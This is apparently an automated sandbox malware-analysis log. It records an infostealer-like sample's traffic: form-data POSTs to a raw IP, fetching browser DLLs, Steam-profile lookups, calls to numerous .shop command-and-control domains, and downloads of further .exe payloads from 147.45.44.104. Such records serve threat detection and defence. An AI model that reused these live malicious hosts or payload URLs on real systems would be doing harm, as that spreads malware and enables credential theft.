Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 98093Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop
Source: global traffic HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 3213Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 3_2_00406963
Source: global traffic HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=468a9c07480beea674f6698d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type34668Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 25 Sep 2024 18:50:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: yalubluseks.eu
Source: global traffic DNS traffic detected: DNS query: api.ipify.org
Source: global traffic DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic DNS traffic detected: DNS query: performenj.shop
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;
Source: RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exehb
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exerm-data;
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.KECFHIEBFCGI
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.EBFCGI
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org/Z
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org/j
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.orgCGI
Source: file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://cowod.hoptoIEBFCGI
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
